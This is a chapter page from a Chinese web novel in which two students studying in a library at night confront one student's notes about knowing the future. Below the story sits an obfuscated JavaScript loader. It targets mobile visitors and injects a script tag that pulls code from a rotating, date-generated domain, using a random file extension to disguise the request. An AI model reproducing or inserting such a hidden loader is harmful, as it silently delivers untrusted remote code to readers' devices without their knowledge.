返回第5章 图书馆的夜  Drama舞姬首页

关灯 护眼     字体:

上一章 目录 下一章

夜色如墨,沉沉压向校园。图书馆的灯光在暴雨中显得格外温暖,像一座漂浮在汪洋中的孤岛。窗外,雨点密集地敲打着玻璃,仿佛天地都在低语。

林晚和沈曜坐在靠窗的角落,桌上摊着厚厚的习题集和演算纸。几杯早已凉透的咖啡静立一旁,空气中弥漫着纸张与墨水的气息。他们已经连续解了三个小时的题,从竞赛真题到自编难题,思维在数字与逻辑的迷宫中穿梭。

“这道组合题,你用生成函数的思路很妙。”沈曜抬头,眼中带着疲惫却闪着光,“但最后一步的递推优化,你是怎么想到的?”

林晚笑了笑,笔尖在纸上轻轻一点:“直觉吧。有些解法,不是推出来的,是‘知道’的。”

沈曜一怔,目光落在她摊开的笔记本上。那是一本深蓝色封皮的活页本,边缘已有磨损。他本想借来看一眼,却无意间瞥见其中一页的角落,一行小字如闪电般刺入眼底——

他的心跳骤然一停。

雨声仿佛在这一刻被无限放大。

他悄悄抬眼看向林晚。她正专注地整理着笔记,侧脸在台灯下轮廓分明,平静得近乎神圣。那不是疯子的妄语,也不是恶作剧的涂鸦——那是一种近乎冷静的预知。

“林晚,”他忽然开口,声音低沉而谨慎,“你……相信命运可以被改变吗?”

她笔尖一顿,缓缓抬头:“你问这个做什么?”

“如果一个人,能提前知道未来会发生什么,”他盯着她的眼睛,“他该怎么做?是顺从,还是反抗?”

林晚沉默了。她看着沈曜,仿佛在判断他究竟知道了多少。片刻后,她合上笔记本,轻声道:“如果真有人能看见未来,那他一定也明白——未来不是注定的,而是由每一个当下的选择组成的。看见,不是为了服从,而是为了改变。”

“所以,”他缓缓开口,声音带着一丝不易察觉的颤抖,“你早就知道我会来找你?知道我会递那张纸条?知道今天这场雨?”

林晚没有否认。她望向窗外的暴雨,轻声道:“我不知道你会以什么方式出现,但我知道,总会有一个人,愿意相信光的存在。”

两人陷入长久的静默。雨声成了唯一的背景音,仿佛时间也为之凝滞。

忽然,沈曜笑了,低低的,却带着释然:“难怪你不怕苏晴,不怕王老师,不怕任何人。因为你已经‘活过’一次,对吗?”

“不。”林晚摇头,“我不是不怕。我只是知道,有些事,必须有人站出来。而这一次,我不想再做那个沉默的影子。”

她翻开笔记本,将那页写着“未来记忆”的纸轻轻撕下,投入桌边的废纸篓。

“过去已经过去了。”她说,“现在,我只想和你一起,解出属于‘现在’的题。”

沈曜看着她,眼中渐渐升起一种复杂的情感——有震撼,有敬佩,也有一种难以言喻的温柔。他忽然伸手,将那张被撕下的纸从废纸篓里捡了回来,小心翼翼地抚平。

“留着吧。”他轻声说,“这不是预言,是勇气的证明。”

窗外,雨势渐小,云层裂开一道缝隙,一缕月光悄然洒落,正好照在两人之间的桌面上,像一道温柔的桥。

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");